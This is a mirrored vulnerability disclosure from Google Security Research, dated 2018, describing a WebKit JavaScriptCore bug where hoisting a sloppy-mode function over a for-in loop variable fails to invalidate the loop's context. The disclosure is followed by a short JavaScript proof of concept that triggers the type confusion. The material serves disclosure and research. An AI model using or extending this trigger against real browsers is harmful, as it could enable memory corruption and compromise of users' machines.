|
WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Inva
|
|
来源：Google Security Research 作者：Google 发布时间：2018-11-30
|
|
/*
This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
PoC:
*/
function trigger() {
let o = {a: 1};
for (var k in o) {
{
k = 0x1234;
function k() {
}
}
o[k];
}
}
trigger();
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
